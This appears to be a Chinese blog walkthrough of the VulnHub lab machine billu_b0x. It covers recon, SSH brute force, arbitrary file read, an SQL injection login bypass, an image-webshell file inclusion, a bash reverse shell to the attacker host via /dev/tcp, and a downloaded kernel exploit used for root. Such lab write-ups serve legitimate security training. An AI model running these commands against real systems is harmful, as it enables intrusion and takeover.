vulnhub靶机billu_b0x精讲

靶机下载

https://www.vulnhub.com/entry/billu-b0x,188/

信息收集

扫描存活主机

nmap -sP 192.168.73.0/24
192.168.73.141为目标主机,对其进行进一步信息收集

端口扫描

nmap --min-rate=10000 -p- 192.168.73.141

目标只开放了22和80端口

针对端口进行TCP探测、服务探测、操作系统探测

nmap -T4 -sV -sT -sC -O -p80,22 192.168.73.141

22端口使用 OpenSSH 5.9p1版本

80开放了http服务,部署在Apache2.2.22上

目录扫描

针对http服务进行目录扫描

gobuster dir -u http://192.168.73.141/ -w /usr/share/wordlists/dirb/big.txt

扫描出可访问路径

/add
/c
/cmd
/head
/images
/images
/index
/in
/panel
/phpmy
/show
/test

漏洞挖掘

22端口渗透

ssh暴力破解

因为只开放了两个端口,攻击面较少,所以要利用任何能利用的点,首先想到爆破ssh密码,开启一个窗口让hydra后台去爆破密码

hydra -l root -P /root/Desktop/passwd-CN-Top10000.txt ssh://192.168.73.141 -V -f

ssh服务漏洞

看到nmap扫描结果中ssh服务使用的应用程序为OpenSSH 5.9p1,通过google搜索相关漏洞利用,发现并没有可以直接利用获取shell的攻击脚本,利用条件都很苛刻。

80端口(Web)渗透

访问通过目录爆破出的几个目录

http://192.168.73.141/index
http://192.168.73.141/add
http://192.168.73.141/c
http://192.168.73.141/cmd
http://192.168.73.141/images/
http://192.168.73.141/in
http://192.168.73.141/show
http://192.168.73.141/test

任意文件读取漏洞利用

通过观察/test目录,页面提示需要传入一个file的值,联想到任意文件读取、文件包含,这里先get去传参一个index.php

传入file值未index.php发现并没有反应,尝试修改请求方式,使用POST的方式发送数据包

POST /test HTTP/1.1
Host: 192.168.73.141
Content-Length: 14
Cache-Control: max-age=0
Origin: http://192.168.73.141
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.73.141/test?file=index
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bopi12nfmudsn2c5gf05pm4eo4
Connection: keep-alive

file=index.php

这里读取到了index.php的源码,存在任意文件读取漏洞,分别尝试读取passwd和shadow,看看能不能获得shadow文件爆破hash直接获取到root密码。

passwd文件是可以直接读取到的,shadow文件没有权限读取,继续通过文件读取漏洞读取其他页面的源码进行代码审计。

文件上传漏洞利用

add目录下发现是一个文件上传的页面,利用文件包含审计源码是否做了过滤。

是没有做任何过滤的,尝试上传一个图片文件

响应包中没有返回文件的上传路径,这里猜测文件可能是上传到了/images目录下,但是观察了一下没有任何数据的更新。

SQL注入漏洞利用

通过文件包含漏洞读取到的index.php源码进行代码审计。

index.php包含了c.php,head.php,而index.php又是一个登录页面,很有可能包含的就是数据库配置文件,继续利用文件读取漏洞读取源码

读取到c.php就是数据库配置文件,并且给出了一个数据库账号。

127.0.0.1
billu
b0x_billu

尝试远程登录到mysql

数据库连接失败,因为在前期端口扫描没有扫描到mysql的服务端口,所以判断应该是修改了端口或者禁止远程登录。

尝试用账户凭证登录ssh

ssh billu@192.168.73.141
b0x_billu

登录失败

继续读取head.php的源码

也没有发现有用的信息。

继续分析index.php的源码,在下面发现了登录逻辑,可以尝试进行sql注入

$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';

登录逻辑代码中使用str_replace函数过滤了单引号,尝试绕过,将连接符"."分离后的sql查询语句

select * from auth where  pass=\'.$pass.\' and uname=\'.$uname.\'

这里的"\"就是转义字符,可以省略掉

select * from auth where  pass='pass' and uname='uname'

构造万能密码

pass传入\
uname传入or 1=1#

构造后的sql语句就变成了

select * from auth where pass='\' and uname='or 1=1#'

查询语句中的' and uname='就被逃逸出去成为了pass的值

pass='\' and uname='
or 1=1永真

成功登陆

这里发现了一个文件上传的页面,和add.php是一样的,再次上传文件

文件上传成功,文件被上传到了/uploaded_images/下

尝试上传一句话,使用%00截断、黑名单绕过、.htaccess利用,都失败了。

文件包含漏洞利用

继续读取登录后的panel.php源码

<?php
session_start();

include('c.php');
include('head2.php');
if(@$_SESSION['logged']!=true )
{
        header('Location: index.php', true, 302);
        exit();

}



echo "Welcome to billu b0x ";
echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>';
if(isset($_POST['lg']))
{
    unset($_SESSION['logged']);
    unset($_SESSION['admin']);
    header('Location: index.php', true, 302);
}
echo '<hr><br>';

echo '<form method=post>

<select name=load>
    <option value="show">Show Users</option>
    <option value="add">Add User</option>
</select> 

 &nbsp<input type=submit name=continue value="continue"></form><br><br>';
if(isset($_POST['continue']))
{
    $dir=getcwd();
    $choice=str_replace('./','',$_POST['load']);

    if($choice==='add')
    {
            include($dir.'/'.$choice.'.php');
            die();
    }

        if($choice==='show')
    {

        include($dir.'/'.$choice.'.php');
        die();
    }
    else
    {
        include($dir.'/'.$_POST['load']);
    }

}


if(isset($_POST['upload']))
{

    $name=mysqli_real_escape_string($conn,$_POST['name']);
    $address=mysqli_real_escape_string($conn,$_POST['address']);
    $id=mysqli_real_escape_string($conn,$_POST['id']);

    if(!empty($_FILES['image']['name']))
    {
        $iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
    $r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
    $image=array('jpeg','jpg','gif','png');
    if(in_array($r,$image))
    {
        $finfo = @new finfo(FILEINFO_MIME); 
    $filetype = @$finfo->file($_FILES['image']['tmp_name']);
        if(preg_match('/image\/jpeg/',$filetype )  || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
                {
                    if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
                             {
                              echo "Uploaded successfully ";
                              $update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')'; 
                             mysqli_query($conn, $update);

                            }
                }
            else
            {
                echo "<br>i told you dear, only png,jpg and gif file are allowed";
            }
    }
    else
    {
        echo "<br>only png,jpg and gif file are allowed";

    }
}


}

?>

源码中分析出include函数没有做任何的过滤,存在任意文件包含漏洞,需要POST传参continue和load参数才能触发。

这里continue需要传入continue load需要传入图片马的地址

首先构造一个图片马上传到目标

重新访问panel.php,修改请求方式为POST,包含cmd.jpg,构造payload

POST /panel.php?cmd=whoami HTTP/1.1
Host: 192.168.73.141
Content-Length: 47
Cache-Control: max-age=0
Origin: http://192.168.73.141
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.73.141/panel.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bopi12nfmudsn2c5gf05pm4eo4
Connection: keep-alive

load=/uploaded_images/cmd.jpg&continue=continue

成功执行系统命令

本地nc开启监听

nc -lvnp 8899

反弹shell

echo "bash -i >& /dev/tcp/192.168.73.138/8899 0>&1" | bash
//记得url编码

成功得到初始web权限的shell。

权限提升

用python启动一个shell以获得更好的交互性

python -c "import pty;pty.spawn('/bin/bash')"

信息收集

uname -a

内核提权

使用searchsploit搜索内核提权脚本

searchsploit Ubuntu kernel 3.13.0-32
searchsploit -m 37292

启动一个http服务,将exp放到上面,目标机器去下载

service apache2 start
cp 37292.c /var/www/html/37292.c
wget http://192.168.73.138/37292,c

发现www目录没有创建文件的权限,进入到uploaded_images目录下

cd uploaded_images
wget http://192.168.73.138/37292.c
gcc 37292.c 37292
./37292

成功提权到root权限

SSH密码爆破

刚才都没有注意到hydra已经把ssh密码跑出来了,尝试登陆一下

登录成功,也是获取root权限

相关推荐
H轨迹H2 分钟前
DVWA靶场搭建及错误解决教程
网络安全·渗透测试·dvwa
IT 古月方源36 分钟前
关于 VRRP的详解
运维·网络·tcp/ip·网络安全·智能路由器
Redamancy_Xun1 小时前
开源软件兼容性可信量化分析
java·开发语言·程序人生·网络安全·测试用例·可信计算技术
网安kk3 小时前
2025年三个月自学手册 网络安全(黑客技术)
linux·网络·python·安全·web安全·网络安全·密码学
燕雀安知鸿鹄之志哉.12 小时前
攻防世界 easyphp
安全·web安全·网络安全
老鑫安全培训13 小时前
从安全角度看 SEH 和 VEH
java·网络·安全·网络安全·系统安全·安全威胁分析
cr.sheeper15 小时前
empire靶机
网络安全·vulnhub
anddddoooo16 小时前
Kerberoasting 离线爆破攻击
网络·数据库·安全·microsoft·网络安全
为几何欢16 小时前
【hackmyvm】deba靶机wp
网络安全·渗透·hackmyvm·hmv